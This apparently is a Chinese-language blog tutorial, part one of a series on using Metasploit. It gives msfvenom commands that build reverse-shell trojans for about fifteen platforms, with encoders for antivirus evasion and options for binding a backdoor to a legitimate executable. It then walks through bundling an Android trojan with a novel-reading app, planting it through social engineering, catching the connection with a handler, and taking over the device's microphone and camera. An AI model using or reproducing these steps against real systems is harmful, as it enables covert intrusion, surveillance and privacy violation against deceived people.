MSF框架使用(1)
前言
Metasploit是一个免费的、可下载的漏洞框架,它的全称叫做The Metasploit Framework,简称MSF。它本身附带2000多个已知软件漏洞的专业级漏洞攻击工具。
Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。
基本步骤
本节仅使用本框架做些初级渗透测试,下面是一些利用木马渗透的常用步骤和方法:
- 下载并进入Metasploit
- 使用msfvenom模块生成木马
- 将木马植入至目标机器
- 设置并使用handler模块监听木马
具体实现
1.下载并进入Metasploit
【1】输入以下命令以添加构建存储库并安装 Metasploit Framework 软件包:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
【2】终端中键入msfconsole以启动MSF:
若出现以上界面则启动成功,启动图随机,如遇到下载问题可更换下载源
2.使用msfvenom模块生成木马
【1】msfvenom基本参数:
-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-p 指定需要使用的payload(攻击荷载)。
-f 指定输出格式
可执行格式:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
转换格式:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e 指定需要使用的encoder(编码器)编码免杀。
-a 指定payload的目标架构
架构:x86 | x64 | x86_64
平台:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o 保存payload文件输出。
-b 设定规避字符集,比如: ‘\x00\xff’避免使用的字符
-n 为payload预先指定一个NOP滑动长度
-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i 指定payload的编码次数
-c 指定一个附加的win32 shellcode文件
-x 指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-k 保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-v 指定一个自定义的变量,以确定输出格式
【2】各平台payload生成指令:
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o payload.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf -o payload.elf
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw - o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address>`` LPORT=<Your Port to Connect On> -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c
【3】生成payload文件:
因篇幅所限,这里以安卓设备为例进行内网渗透,其他平台同理。若想进行外网渗透,可将LHOST参数设置为服务器ip。
生成成功,接下来在文件夹中找到生成文件。
3.将木马植入至目标机器
【1】对木马进行加固以免杀:
由于此步骤过于繁琐,以后会专门写一篇有关各平台木马加固方式的文章。这里将木马文件与某不知名小说软件捆绑,下载此软件即下载木马。
【2】选择植入方式:
在实战中,将木马植入到目标机器的方式有很多 ,最常用的是利用社工方式诱导。其他还有利用arp中间人欺骗替换文件等,同【1】,其他攻击方式会在之后介绍。
【3】进行简单的社工欺骗:
不便展示,确认诱导成功,靶机安装木马程序后进行下一步
4.设置并使用handler模块监听木马
【1】开启handler模块:
use exploit/multi/handler
【2】查看模块参数:
options
这里的参数与生成木马时参数不一致,下一步需要将ip,端口号及payload改为生成木马时的参数。
【3】修改模块参数:
set payload android/meterpreter/reverse_tcp
set lhost <Your IP Address>
set lport <Your Listen Port>
设置成功,下一步开启监听
【4】开启监听:
键入run
运行监听模块
监听已开启,等待靶机上线
靶机上线,进行后渗透操作
【5】后渗透操作:
键入?
了解可运行的命令
命令过多,这里不做展示
接下来就可以对靶机进行任意操作,如监听麦克风,监听摄像头,查看软件列表······
查看靶机系统信息